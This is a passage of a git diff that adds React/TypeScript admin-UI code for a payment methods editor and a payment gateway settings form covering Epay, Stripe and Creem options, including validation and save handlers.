+    }
+    return color
+  }
+
+  return (
+    <div className='space-y-4'>
+      <div className='flex flex-col gap-3 sm:flex-row sm:items-center'>
+        <div className='relative flex-1'>
+          <Search className='text-muted-foreground absolute top-2.5 left-2.5 h-4 w-4' />
+          <Input
+            placeholder={t('Search payment methods...')}
+            value={searchText}
+            onChange={(e) => setSearchText(e.target.value)}
+            className='pl-9'
+          />
+        </div>
+        <div className='flex gap-2'>
+          <Popover>
+            <PopoverTrigger asChild>
+              <Button variant='outline' className='flex-1 sm:flex-none'>
+                <Lightbulb className='h-4 w-4 sm:mr-2' />
+                <span className='sm:inline'>{t('Templates')}</span>
+              </Button>
+            </PopoverTrigger>
+            <PopoverContent className='w-60'>
+              <div className='space-y-2'>
+                <p className='text-muted-foreground text-xs'>
+                  {t('Quick insert common payment methods')}
+                </p>
+                <div className='space-y-1'>
+                  {PAYMENT_TEMPLATES.map((item) => (
+                    <Button
+                      key={item.name}
+                      type='button'
+                      variant='ghost'
+                      className='w-full justify-start text-sm'
+                      onClick={(e) => {
+                        e.preventDefault()
+                        e.stopPropagation()
+                        handleInsertTemplate(item.template)
+                      }}
+                    >
+                      <Plus className='mr-2 h-3 w-3' />
+                      {item.name}
+                    </Button>
+                  ))}
+                </div>
+              </div>
+            </PopoverContent>
+          </Popover>
+          <Button
+            type='button'
+            onClick={(e) => {
+              e.preventDefault()
+              e.stopPropagation()
+              handleAdd()
+            }}
+            className='flex-1 sm:flex-none'
+          >
+            <Plus className='h-4 w-4 sm:mr-2' />
+            <span className='sm:inline'>{t('Add method')}</span>
+          </Button>
+        </div>
+      </div>
+
+      {filteredMethods.length === 0 ? (
+        <div className='text-muted-foreground rounded-lg border border-dashed p-8 text-center text-sm'>
+          {searchText
+            ? t('No payment methods match your search')
+            : t(
+                'No payment methods configured. Click "Add method" or use templates to get started.'
+              )}
+        </div>
+      ) : (
+        <div className='rounded-md border'>
+          {/* Desktop table view */}
+          <div className='hidden md:block'>
+            <Table>
+              <TableHeader>
+                <TableRow>
+                  <TableHead>{t('Name')}</TableHead>
+                  <TableHead>{t('Type')}</TableHead>
+                  <TableHead>{t('Color')}</TableHead>
+                  <TableHead>{t('Min Top-up')}</TableHead>
+                  <TableHead className='text-right'>{t('Actions')}</TableHead>
+                </TableRow>
+              </TableHeader>
+              <TableBody>
+                {filteredMethods.map((method, index) => {
+                  const colorPreview = getColorPreview(method.color)
+                  return (
+                    <TableRow key={`${method.type}-${index}`}>
+                      <TableCell className='font-medium'>
+                        {method.name}
+                      </TableCell>
+                      <TableCell>
+                        <code className='bg-muted rounded px-1.5 py-0.5 text-xs'>
+                          {method.type}
+                        </code>
+                      </TableCell>
+                      <TableCell>
+                        <div className='flex items-center gap-2'>
+                          {colorPreview && (
+                            <div
+                              className='size-5 shrink-0 rounded border'
+                              style={{ backgroundColor: colorPreview }}
+                            />
+                          )}
+                          <span className='text-muted-foreground truncate font-mono text-xs'>
+                            {method.color}
+                          </span>
+                        </div>
+                      </TableCell>
+                      <TableCell>
+                        {method.min_topup ? (
+                          <span className='font-mono text-sm'>
+                            {method.min_topup}
+                          </span>
+                        ) : (
+                          <span className='text-muted-foreground text-sm'>
+                            —
+                          </span>
+                        )}
+                      </TableCell>
+                      <TableCell className='text-right'>
+                        <div className='flex justify-end gap-2'>
+                          <Button
+                            type='button'
+                            variant='ghost'
+                            size='sm'
+                            onClick={(e) => {
+                              e.preventDefault()
+                              e.stopPropagation()
+                              handleEdit(method)
+                            }}
+                          >
+                            <Pencil className='h-4 w-4' />
+                          </Button>
+                          <Button
+                            type='button'
+                            variant='ghost'
+                            size='sm'
+                            onClick={(e) => {
+                              e.preventDefault()
+                              e.stopPropagation()
+                              handleDelete(method)
+                            }}
+                          >
+                            <Trash2 className='h-4 w-4' />
+                          </Button>
+                        </div>
+                      </TableCell>
+                    </TableRow>
+                  )
+                })}
+              </TableBody>
+            </Table>
+          </div>
+
+          {/* Mobile card view */}
+          <div className='divide-y md:hidden'>
+            {filteredMethods.map((method, index) => {
+              const colorPreview = getColorPreview(method.color)
+              return (
+                <div key={`${method.type}-${index}`} className='p-4'>
+                  <div className='mb-3 flex items-start justify-between'>
+                    <div className='flex-1'>
+                      <div className='mb-1 font-medium'>{method.name}</div>
+                      <code className='bg-muted rounded px-1.5 py-0.5 text-xs'>
+                        {method.type}
+                      </code>
+                    </div>
+                    <div className='flex gap-1'>
+                      <Button
+                        type='button'
+                        variant='ghost'
+                        size='sm'
+                        onClick={(e) => {
+                          e.preventDefault()
+                          e.stopPropagation()
+                          handleEdit(method)
+                        }}
+                      >
+                        <Pencil className='h-4 w-4' />
+                      </Button>
+                      <Button
+                        type='button'
+                        variant='ghost'
+                        size='sm'
+                        onClick={(e) => {
+                          e.preventDefault()
+                          e.stopPropagation()
+                          handleDelete(method)
+                        }}
+                      >
+                        <Trash2 className='h-4 w-4' />
+                      </Button>
+                    </div>
+                  </div>
+                  <div className='space-y-2 text-sm'>
+                    <div className='flex items-center gap-2'>
+                      <span className='text-muted-foreground min-w-20'>
+                        {t('Color:')}
+                      </span>
+                      <div className='flex items-center gap-2'>
+                        {colorPreview && (
+                          <div
+                            className='size-5 shrink-0 rounded border'
+                            style={{ backgroundColor: colorPreview }}
+                          />
+                        )}
+                        <span className='text-muted-foreground truncate font-mono text-xs'>
+                          {method.color}
+                        </span>
+                      </div>
+                    </div>
+                    {method.min_topup && (
+                      <div className='flex items-center gap-2'>
+                        <span className='text-muted-foreground min-w-20'>
+                          {t('Min Top-up:')}
+                        </span>
+                        <span className='font-mono'>{method.min_topup}</span>
+                      </div>
+                    )}
+                  </div>
+                </div>
+              )
+            })}
+          </div>
+        </div>
+      )}
+
+      <PaymentMethodDialog
+        open={dialogOpen}
+        onOpenChange={setDialogOpen}
+        onSave={handleSave}
+        editData={editData}
+      />
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/integrations/payment-settings-section.tsx b/new-api/web/default/src/features/system-settings/integrations/payment-settings-section.tsx
new file mode 100644
index 0000000..157e635
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/integrations/payment-settings-section.tsx
@@ -0,0 +1,1297 @@
+import * as React from 'react'
+import * as z from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { Code2, Eye } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+import { Separator } from '@/components/ui/separator'
+import { Switch } from '@/components/ui/switch'
+import { Textarea } from '@/components/ui/textarea'
+import { SettingsSection } from '../components/settings-section'
+import { useUpdateOption } from '../hooks/use-update-option'
+import { AmountDiscountVisualEditor } from './amount-discount-visual-editor'
+import { AmountOptionsVisualEditor } from './amount-options-visual-editor'
+import { CreemProductsVisualEditor } from './creem-products-visual-editor'
+import { PaymentMethodsVisualEditor } from './payment-methods-visual-editor'
+import {
+  formatJsonForEditor,
+  getJsonError,
+  normalizeJsonForComparison,
+  removeTrailingSlash,
+} from './utils'
+import {
+  WaffoPancakeSettingsSection,
+  type WaffoPancakeSettingsValues,
+} from './waffo-pancake-settings-section'
+import {
+  WaffoSettingsSection,
+  type WaffoSettingsValues,
+} from './waffo-settings-section'
+
+const paymentSchema = z.object({
+  PayAddress: z.string().refine((value) => {
+    const trimmed = value.trim()
+    if (!trimmed) return true
+    return /^https?:\/\//.test(trimmed)
+  }, 'Provide a valid callback URL starting with http:// or https://'),
+  EpayId: z.string(),
+  EpayKey: z.string(),
+  Price: z.coerce.number().min(0),
+  MinTopUp: z.coerce.number().min(0),
+  CustomCallbackAddress: z.string().refine((value) => {
+    const trimmed = value.trim()
+    if (!trimmed) return true
+    return /^https?:\/\//.test(trimmed)
+  }, 'Provide a valid URL starting with http:// or https://'),
+  PayMethods: z.string().superRefine((value, ctx) => {
+    const error = getJsonError(value)
+    if (error) {
+      ctx.addIssue({
+        code: z.ZodIssueCode.custom,
+        message: error,
+      })
+    }
+  }),
+  AmountOptions: z.string().superRefine((value, ctx) => {
+    const error = getJsonError(value, (parsed) => Array.isArray(parsed))
+    if (error) {
+      ctx.addIssue({
+        code: z.ZodIssueCode.custom,
+        message: error,
+      })
+    }
+  }),
+  AmountDiscount: z.string().superRefine((value, ctx) => {
+    const error = getJsonError(
+      value,
+      (parsed) =>
+        !!parsed && typeof parsed === 'object' && !Array.isArray(parsed)
+    )
+    if (error) {
+      ctx.addIssue({
+        code: z.ZodIssueCode.custom,
+        message: error,
+      })
+    }
+  }),
+  StripeApiSecret: z.string(),
+  StripeWebhookSecret: z.string(),
+  StripePriceId: z.string(),
+  StripeUnitPrice: z.coerce.number().min(0),
+  StripeMinTopUp: z.coerce.number().min(0),
+  StripePromotionCodesEnabled: z.boolean(),
+  CreemApiKey: z.string(),
+  CreemWebhookSecret: z.string(),
+  CreemTestMode: z.boolean(),
+  CreemProducts: z.string().superRefine((value, ctx) => {
+    const error = getJsonError(value, (parsed) => Array.isArray(parsed))
+    if (error) {
+      ctx.addIssue({
+        code: z.ZodIssueCode.custom,
+        message: error,
+      })
+    }
+  }),
+})
+
+type PaymentFormValues = z.infer<typeof paymentSchema>
+
+type PaymentSettingsSectionProps = {
+  defaultValues: PaymentFormValues
+  waffoDefaultValues: WaffoSettingsValues
+  waffoPancakeDefaultValues: WaffoPancakeSettingsValues
+}
+
+export function PaymentSettingsSection({
+  defaultValues,
+  waffoDefaultValues,
+  waffoPancakeDefaultValues,
+}: PaymentSettingsSectionProps) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+  const initialRef = React.useRef(defaultValues)
+  const defaultsSignature = React.useMemo(
+    () => JSON.stringify(defaultValues),
+    [defaultValues]
+  )
+
+  const [payMethodsVisualMode, setPayMethodsVisualMode] = React.useState(true)
+  const [amountOptionsVisualMode, setAmountOptionsVisualMode] =
+    React.useState(true)
+  const [amountDiscountVisualMode, setAmountDiscountVisualMode] =
+    React.useState(true)
+  const [creemProductsVisualMode, setCreemProductsVisualMode] =
+    React.useState(true)
+
+  const form = useForm({
+    resolver: zodResolver(paymentSchema),
+    mode: 'onChange', // Enable real-time validation
+    defaultValues: {
+      ...defaultValues,
+      PayMethods: formatJsonForEditor(defaultValues.PayMethods),
+      AmountOptions: formatJsonForEditor(defaultValues.AmountOptions),
+      AmountDiscount: formatJsonForEditor(defaultValues.AmountDiscount),
+      CreemProducts: formatJsonForEditor(defaultValues.CreemProducts),
+    },
+  })
+
+  React.useEffect(() => {
+    const parsedDefaults = JSON.parse(defaultsSignature) as PaymentFormValues
+    initialRef.current = parsedDefaults
+    form.reset({
+      ...parsedDefaults,
+      PayMethods: formatJsonForEditor(parsedDefaults.PayMethods),
+      AmountOptions: formatJsonForEditor(parsedDefaults.AmountOptions),
+      AmountDiscount: formatJsonForEditor(parsedDefaults.AmountDiscount),
+      CreemProducts: formatJsonForEditor(parsedDefaults.CreemProducts),
+    })
+  }, [defaultsSignature, form])
+
+  const saveGeneralSettings = async () => {
+    const values = form.getValues()
+    const sanitized = {
+      Price: values.Price as number,
+      MinTopUp: values.MinTopUp as number,
+      PayMethods: values.PayMethods.trim(),
+      AmountOptions: values.AmountOptions.trim(),
+      AmountDiscount: values.AmountDiscount.trim(),
+    }
+
+    const initial = {
+      Price: initialRef.current.Price,
+      MinTopUp: initialRef.current.MinTopUp,
+      PayMethods: initialRef.current.PayMethods.trim(),
+      AmountOptions: initialRef.current.AmountOptions.trim(),
+      AmountDiscount: initialRef.current.AmountDiscount.trim(),
+    }
+
+    const updates: Array<{ key: string; value: string | number }> = []
+
+    if (sanitized.Price !== initial.Price) {
+      updates.push({ key: 'Price', value: sanitized.Price })
+    }
+
+    if (sanitized.MinTopUp !== initial.MinTopUp) {
+      updates.push({ key: 'MinTopUp', value: sanitized.MinTopUp })
+    }
+
+    if (
+      normalizeJsonForComparison(sanitized.PayMethods) !==
+      normalizeJsonForComparison(initial.PayMethods)
+    ) {
+      updates.push({ key: 'PayMethods', value: sanitized.PayMethods })
+    }
+
+    if (
+      normalizeJsonForComparison(sanitized.AmountOptions) !==
+      normalizeJsonForComparison(initial.AmountOptions)
+    ) {
+      updates.push({
+        key: 'payment_setting.amount_options',
+        value: sanitized.AmountOptions,
+      })
+    }
+
+    if (
+      normalizeJsonForComparison(sanitized.AmountDiscount) !==
+      normalizeJsonForComparison(initial.AmountDiscount)
+    ) {
+      updates.push({
+        key: 'payment_setting.amount_discount',
+        value: sanitized.AmountDiscount,
+      })
+    }
+
+    if (updates.length === 0) {
+      return
+    }
+
+    for (const update of updates) {
+      await updateOption.mutateAsync(update)
+    }
+  }
+
+  const saveEpaySettings = async () => {
+    const values = form.getValues()
+    const sanitized = {
+      PayAddress: removeTrailingSlash(values.PayAddress),
+      EpayId: values.EpayId.trim(),
+      EpayKey: values.EpayKey.trim(),
+      CustomCallbackAddress: removeTrailingSlash(values.CustomCallbackAddress),
+    }
+
+    const initial = {
+      PayAddress: removeTrailingSlash(initialRef.current.PayAddress),
+      EpayId: initialRef.current.EpayId.trim(),
+      EpayKey: initialRef.current.EpayKey.trim(),
+      CustomCallbackAddress: removeTrailingSlash(
+        initialRef.current.CustomCallbackAddress
+      ),
+    }
+
+    const updates: Array<{ key: string; value: string }> = []
+
+    if (sanitized.PayAddress !== initial.PayAddress) {
+      updates.push({ key: 'PayAddress', value: sanitized.PayAddress })
+    }
+
+    if (sanitized.EpayId !== initial.EpayId) {
+      updates.push({ key: 'EpayId', value: sanitized.EpayId })
+    }
+
+    if (sanitized.EpayKey && sanitized.EpayKey !== initial.EpayKey) {
+      updates.push({ key: 'EpayKey', value: sanitized.EpayKey })
+    }
+
+    if (sanitized.CustomCallbackAddress !== initial.CustomCallbackAddress) {
+      updates.push({
+        key: 'CustomCallbackAddress',
+        value: sanitized.CustomCallbackAddress,
+      })
+    }
+
+    if (updates.length === 0) {
+      return
+    }
+
+    for (const update of updates) {
+      await updateOption.mutateAsync(update)
+    }
+  }
+
+  const saveStripeSettings = async () => {
+    const values = form.getValues()
+    const sanitized = {
+      StripeApiSecret: values.StripeApiSecret.trim(),
+      StripeWebhookSecret: values.StripeWebhookSecret.trim(),
+      StripePriceId: values.StripePriceId.trim(),
+      StripeUnitPrice: values.StripeUnitPrice as number,
+      StripeMinTopUp: values.StripeMinTopUp as number,
+      StripePromotionCodesEnabled:
+        values.StripePromotionCodesEnabled as boolean,
+    }
+
+    const initial = {
+      StripeApiSecret: initialRef.current.StripeApiSecret.trim(),
+      StripeWebhookSecret: initialRef.current.StripeWebhookSecret.trim(),
+      StripePriceId: initialRef.current.StripePriceId.trim(),
+      StripeUnitPrice: initialRef.current.StripeUnitPrice,
+      StripeMinTopUp: initialRef.current.StripeMinTopUp,
+      StripePromotionCodesEnabled:
+        initialRef.current.StripePromotionCodesEnabled,
+    }
+
+    const updates: Array<{ key: string; value: string | number | boolean }> = []
+
+    if (
+      sanitized.StripeApiSecret &&
+      sanitized.StripeApiSecret !== initial.StripeApiSecret
+    ) {
+      updates.push({ key: 'StripeApiSecret', value: sanitized.StripeApiSecret })
+    }
+
+    if (
+      sanitized.StripeWebhookSecret &&
+      sanitized.StripeWebhookSecret !== initial.StripeWebhookSecret
+    ) {
+      updates.push({
+        key: 'StripeWebhookSecret',
+        value: sanitized.StripeWebhookSecret,
+      })
+    }
+
+    if (sanitized.StripePriceId !== initial.StripePriceId) {
+      updates.push({ key: 'StripePriceId', value: sanitized.StripePriceId })
+    }
+
+    if (sanitized.StripeUnitPrice !== initial.StripeUnitPrice) {
+      updates.push({ key: 'StripeUnitPrice', value: sanitized.StripeUnitPrice })
+    }
+
+    if (sanitized.StripeMinTopUp !== initial.StripeMinTopUp) {
+      updates.push({ key: 'StripeMinTopUp', value: sanitized.StripeMinTopUp })
+    }
+
+    if (
+      sanitized.StripePromotionCodesEnabled !==
+      initial.StripePromotionCodesEnabled
+    ) {
+      updates.push({
+        key: 'StripePromotionCodesEnabled',
+        value: sanitized.StripePromotionCodesEnabled,
+      })
+    }
+
+    if (updates.length === 0) {
+      return
+    }
+
+    for (const update of updates) {
+      await updateOption.mutateAsync(update)
+    }
+  }
+
+  const saveCreemSettings = async () => {
+    const values = form.getValues()
+    const sanitized = {
+      CreemApiKey: values.CreemApiKey.trim(),
+      CreemWebhookSecret: values.CreemWebhookSecret.trim(),
+      CreemTestMode: values.CreemTestMode as boolean,
+      CreemProducts: values.CreemProducts.trim(),
+    }
+
+    const initial = {
+      CreemApiKey: initialRef.current.CreemApiKey.trim(),
+      CreemWebhookSecret: initialRef.current.CreemWebhookSecret.trim(),
+      CreemTestMode: initialRef.current.CreemTestMode,
+      CreemProducts: initialRef.current.CreemProducts.trim(),
+    }
+
+    const updates: Array<{ key: string; value: string | boolean }> = []
+
+    if (
+      sanitized.CreemApiKey &&
+      sanitized.CreemApiKey !== initial.CreemApiKey
+    ) {
+      updates.push({ key: 'CreemApiKey', value: sanitized.CreemApiKey })
+    }
+
+    if (
+      sanitized.CreemWebhookSecret &&
+      sanitized.CreemWebhookSecret !== initial.CreemWebhookSecret
+    ) {
+      updates.push({
+        key: 'CreemWebhookSecret',
+        value: sanitized.CreemWebhookSecret,
+      })
+    }
+
+    if (sanitized.CreemTestMode !== initial.CreemTestMode) {
+      updates.push({ key: 'CreemTestMode', value: sanitized.CreemTestMode })
+    }
+
+    if (
+      normalizeJsonForComparison(sanitized.CreemProducts) !==
+      normalizeJsonForComparison(initial.CreemProducts)
+    ) {
+      updates.push({ key: 'CreemProducts', value: sanitized.CreemProducts })
+    }
+
+    if (updates.length === 0) {
+      return
+    }
+
+    for (const update of updates) {
+      await updateOption.mutateAsync(update)
+    }
+  }
+
+  const onSubmit = async (values: PaymentFormValues) => {
+    const sanitized = {
+      PayAddress: removeTrailingSlash(values.PayAddress),
+      EpayId: values.EpayId.trim(),
+      EpayKey: values.EpayKey.trim(),
+      Price: values.Price,
+      MinTopUp: values.MinTopUp,
+      CustomCallbackAddress: removeTrailingSlash(values.CustomCallbackAddress),
+      PayMethods: values.PayMethods.trim(),
+      AmountOptions: values.AmountOptions.trim(),
+      AmountDiscount: values.AmountDiscount.trim(),
+      StripeApiSecret: values.StripeApiSecret.trim(),
+      StripeWebhookSecret: values.StripeWebhookSecret.trim(),
+      StripePriceId: values.StripePriceId.trim(),
+      StripeUnitPrice: values.StripeUnitPrice,
+      StripeMinTopUp: values.StripeMinTopUp,
+      StripePromotionCodesEnabled: values.StripePromotionCodesEnabled,
+    }
+
+    const initial = {
+      PayAddress: removeTrailingSlash(initialRef.current.PayAddress),
+      EpayId: initialRef.current.EpayId.trim(),
+      EpayKey: initialRef.current.EpayKey.trim(),
+      Price: initialRef.current.Price,
+      MinTopUp: initialRef.current.MinTopUp,
+      CustomCallbackAddress: removeTrailingSlash(
+        initialRef.current.CustomCallbackAddress
+      ),
+      PayMethods: initialRef.current.PayMethods.trim(),
+      AmountOptions: initialRef.current.AmountOptions.trim(),
+      AmountDiscount: initialRef.current.AmountDiscount.trim(),
+      StripeApiSecret: initialRef.current.StripeApiSecret.trim(),
+      StripeWebhookSecret: initialRef.current.StripeWebhookSecret.trim(),
+      StripePriceId: initialRef.current.StripePriceId.trim(),
+      StripeUnitPrice: initialRef.current.StripeUnitPrice,
+      StripeMinTopUp: initialRef.current.StripeMinTopUp,
+      StripePromotionCodesEnabled:
+        initialRef.current.StripePromotionCodesEnabled,
+    }
+
+    const updates: Array<{ key: string; value: string | number | boolean }> = []
+
+    if (sanitized.PayAddress !== initial.PayAddress) {
+      updates.push({ key: 'PayAddress', value: sanitized.PayAddress })
+    }
+
+    if (sanitized.EpayId !== initial.EpayId) {
+      updates.push({ key: 'EpayId', value: sanitized.EpayId })
+    }
+
+    if (sanitized.EpayKey && sanitized.EpayKey !== initial.EpayKey) {
+      updates.push({ key: 'EpayKey', value: sanitized.EpayKey })
+    }
+
+    if (sanitized.Price !== initial.Price) {
+      updates.push({ key: 'Price', value: sanitized.Price })
+    }
+
+    if (sanitized.MinTopUp !== initial.MinTopUp) {
+      updates.push({ key: 'MinTopUp', value: sanitized.MinTopUp })
+    }
+
+    if (sanitized.CustomCallbackAddress !== initial.CustomCallbackAddress) {
+      updates.push({
+        key: 'CustomCallbackAddress',
+        value: sanitized.CustomCallbackAddress,
+      })
+    }
+
+    if (
+      normalizeJsonForComparison(sanitized.PayMethods) !==
+      normalizeJsonForComparison(initial.PayMethods)
+    ) {
+      updates.push({ key: 'PayMethods', value: sanitized.PayMethods })
+    }
+
+    if (
+      normalizeJsonForComparison(sanitized.AmountOptions) !==
+      normalizeJsonForComparison(initial.AmountOptions)
+    ) {
+      updates.push({
+        key: 'payment_setting.amount_options',
+        value: sanitized.AmountOptions,
+      })
+    }
+
+    if (
+      normalizeJsonForComparison(sanitized.AmountDiscount) !==
+      normalizeJsonForComparison(initial.AmountDiscount)
+    ) {
+      updates.push({
+        key: 'payment_setting.amount_discount',
+        value: sanitized.AmountDiscount,
+      })
+    }
+
+    if (
+      sanitized.StripeApiSecret &&
+      sanitized.StripeApiSecret !== initial.StripeApiSecret
+    ) {
+      updates.push({ key: 'StripeApiSecret', value: sanitized.StripeApiSecret })
+    }
+
+    if (
+      sanitized.StripeWebhookSecret &&
+      sanitized.StripeWebhookSecret !== initial.StripeWebhookSecret
+    ) {
+      updates.push({
+        key: 'StripeWebhookSecret',
+        value: sanitized.StripeWebhookSecret,
+      })
+    }
+
+    if (sanitized.StripePriceId !== initial.StripePriceId) {
+      updates.push({ key: 'StripePriceId', value: sanitized.StripePriceId })
+    }
+
+    if (sanitized.StripeUnitPrice !== initial.StripeUnitPrice) {
+      updates.push({ key: 'StripeUnitPrice', value: sanitized.StripeUnitPrice })
+    }
+
+    if (sanitized.StripeMinTopUp !== initial.StripeMinTopUp) {
+      updates.push({ key: 'StripeMinTopUp', value: sanitized.StripeMinTopUp })
+    }
+
+    if (
+      sanitized.StripePromotionCodesEnabled !==
+      initial.StripePromotionCodesEnabled
+    ) {
+      updates.push({
+        key: 'StripePromotionCodesEnabled',
+        value: sanitized.StripePromotionCodesEnabled,
+      })
+    }
+
+    for (const update of updates) {
+      await updateOption.mutateAsync(update)
+    }
+  }
+
+  return (
+    <SettingsSection
+      title={t('Payment Gateway')}
+      description={t(
+        'Configure recharge pricing and payment gateway integrations'
+      )}
+    >
+      {/* eslint-disable react-hooks/refs */}
+      <Form {...form}>
+        <form
+          onSubmit={form.handleSubmit(onSubmit)}
+          className='space-y-8'
+          data-no-autosubmit='true'
+        >
+          <div className='space-y-4'>
+            <div>
+              <h3 className='text-lg font-medium'>{t('General Settings')}</h3>
+              <p className='text-muted-foreground text-sm'>
+                {t('Shared configuration for all payment gateways')}
+              </p>
+            </div>
+
+            <div className='grid gap-6 md:grid-cols-2'>
+              <FormField
+                control={form.control}
+                name='Price'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Price (local currency / USD)')}</FormLabel>
+                    <FormControl>
+                      <Input
+                        type='number'
+                        step='0.01'
+                        min={0}
+                        value={(field.value ?? 0) as number}
+                        onChange={(event) =>
+                          field.onChange(event.target.valueAsNumber)
+                        }
+                      />
+                    </FormControl>
+                    <FormDescription>
+                      {t(
+                        'How much to charge for each US dollar of balance (Epay)'
+                      )}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+
+              <FormField
+                control={form.control}
+                name='MinTopUp'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Minimum top-up (USD)')}</FormLabel>
+                    <FormControl>
+                      <Input
+                        type='number'
+                        step='0.01'
+                        min={0}
+                        value={(field.value ?? 0) as number}
+                        onChange={(event) =>
+                          field.onChange(event.target.valueAsNumber)
+                        }
+                      />
+                    </FormControl>
+                    <FormDescription>
+                      {t('Smallest USD amount users can recharge (Epay)')}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+            </div>
+
+            <FormField
+              control={form.control}
+              name='PayMethods'
+              render={({ field }) => (
+                <FormItem>
+                  <div className='mb-2 flex flex-col gap-2 sm:flex-row sm:items-center sm:justify-between'>
+                    <FormLabel>{t('Payment methods')}</FormLabel>
+                    <Button
+                      type='button'
+                      variant='outline'
+                      size='sm'
+                      onClick={() =>
+                        setPayMethodsVisualMode(!payMethodsVisualMode)
+                      }
+                      className='w-full sm:w-auto'
+                    >
+                      {payMethodsVisualMode ? (
+                        <>
+                          <Code2 className='mr-2 h-3 w-3' />
+                          {t('JSON Editor')}
+                        </>
+                      ) : (
+                        <>
+                          <Eye className='mr-2 h-3 w-3' />
+                          {t('Visual Editor')}
+                        </>
+                      )}
+                    </Button>
+                  </div>
+                  <FormControl>
+                    {payMethodsVisualMode ? (
+                      <PaymentMethodsVisualEditor
+                        value={field.value}
+                        onChange={field.onChange}
+                      />
+                    ) : (
+                      <Textarea
+                        rows={4}
+                        placeholder={t(
+                          '[{"name":"支付宝","type":"alipay","color":"#1677FF"}]'
+                        )}
+                        {...field}
+                        onChange={(event) => field.onChange(event.target.value)}
+                      />
+                    )}
+                  </FormControl>
+                  <FormDescription>
+                    {t(
+                      'Configure available payment methods. Provide a JSON array.'
+                    )}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <div className='grid gap-6 md:grid-cols-2 md:items-start'>
+              <FormField
+                control={form.control}
+                name='AmountOptions'
+                render={({ field }) => (
+                  <FormItem>
+                    <div className='mb-2 flex flex-col gap-2 sm:flex-row sm:items-center sm:justify-between'>
+                      <FormLabel>{t('Top-up amount options')}</FormLabel>
+                      <Button
+                        type='button'
+                        variant='outline'
+                        size='sm'
+                        onClick={() =>
+                          setAmountOptionsVisualMode(!amountOptionsVisualMode)
+                        }
+                        className='w-full sm:w-auto'
+                      >
+                        {amountOptionsVisualMode ? (
+                          <>
+                            <Code2 className='mr-2 h-3 w-3' />
+                            {t('JSON Editor')}
+                          </>
+                        ) : (
+                          <>
+                            <Eye className='mr-2 h-3 w-3' />
+                            {t('Visual Editor')}
+                          </>
+                        )}
+                      </Button>
+                    </div>
+                    <FormControl>
+                      {amountOptionsVisualMode ? (
+                        <AmountOptionsVisualEditor
+                          value={field.value}
+                          onChange={field.onChange}
+                        />
+                      ) : (
+                        <Textarea
+                          rows={4}
+                          placeholder='[10, 20, 50, 100]'
+                          {...field}
+                          onChange={(event) =>
+                            field.onChange(event.target.value)
+                          }
+                        />
+                      )}
+                    </FormControl>
+                    <FormDescription>
+                      {t('Preset recharge amounts (JSON array)')}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+
+              <FormField
+                control={form.control}
+                name='AmountDiscount'
+                render={({ field }) => (
+                  <FormItem>
+                    <div className='mb-2 flex flex-col gap-2 sm:flex-row sm:items-center sm:justify-between'>
+                      <FormLabel>{t('Amount discount')}</FormLabel>
+                      <Button
+                        type='button'
+                        variant='outline'
+                        size='sm'
+                        onClick={() =>
+                          setAmountDiscountVisualMode(!amountDiscountVisualMode)
+                        }
+                        className='w-full sm:w-auto'
+                      >
+                        {amountDiscountVisualMode ? (
+                          <>
+                            <Code2 className='mr-2 h-3 w-3' />
+                            {t('JSON Editor')}
+                          </>
+                        ) : (
+                          <>
+                            <Eye className='mr-2 h-3 w-3' />
+                            {t('Visual Editor')}
+                          </>
+                        )}
+                      </Button>
+                    </div>
+                    <FormControl>
+                      {amountDiscountVisualMode ? (
+                        <AmountDiscountVisualEditor
+                          value={field.value}
+                          onChange={field.onChange}
+                        />
+                      ) : (
+                        <Textarea
+                          rows={4}
+                          placeholder='{"100":0.95,"200":0.9}'
+                          {...field}
+                          onChange={(event) =>
+                            field.onChange(event.target.value)
+                          }
+                        />
+                      )}
+                    </FormControl>
+                    <FormDescription>
+                      {t('Discount map by recharge amount (JSON object)')}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+            </div>
+
+            <Button
+              type='button'
+              onClick={(e) => {
+                e.preventDefault()
+                e.stopPropagation()
+                saveGeneralSettings()
+              }}
+              disabled={updateOption.isPending}
+            >
+              {updateOption.isPending
+                ? t('Saving...')
+                : t('Save general settings')}
+            </Button>
+          </div>
+
+          <Separator />
+
+          <div className='space-y-4'>
+            <div>
+              <h3 className='text-lg font-medium'>{t('Epay Gateway')}</h3>
+              <p className='text-muted-foreground text-sm'>
+                {t('Configuration for Epay payment integration')}
+              </p>
+            </div>
+
+            <div className='grid gap-6 md:grid-cols-2'>
+              <FormField
+                control={form.control}
+                name='PayAddress'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Epay endpoint')}</FormLabel>
+                    <FormControl>
+                      <Input
+                        placeholder={t('https://pay.example.com')}
+                        {...field}
+                        onChange={(event) => field.onChange(event.target.value)}
+                      />
+                    </FormControl>
+                    <FormDescription>
+                      {t('Base address provided by your Epay service')}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+
+              <FormField
+                control={form.control}
+                name='CustomCallbackAddress'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Callback address')}</FormLabel>
+                    <FormControl>
+                      <Input
+                        placeholder={t('https://gateway.example.com')}
+                        {...field}
+                        onChange={(event) => field.onChange(event.target.value)}
+                      />
+                    </FormControl>
+                    <FormDescription>
+                      {t(
+                        'Optional callback override. Leave blank to use server address'
+                      )}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+            </div>
+
+            <div className='grid gap-6 md:grid-cols-2'>
+              <FormField
+                control={form.control}
+                name='EpayId'
+                render={({ field }) => (
+                  <FormItem>
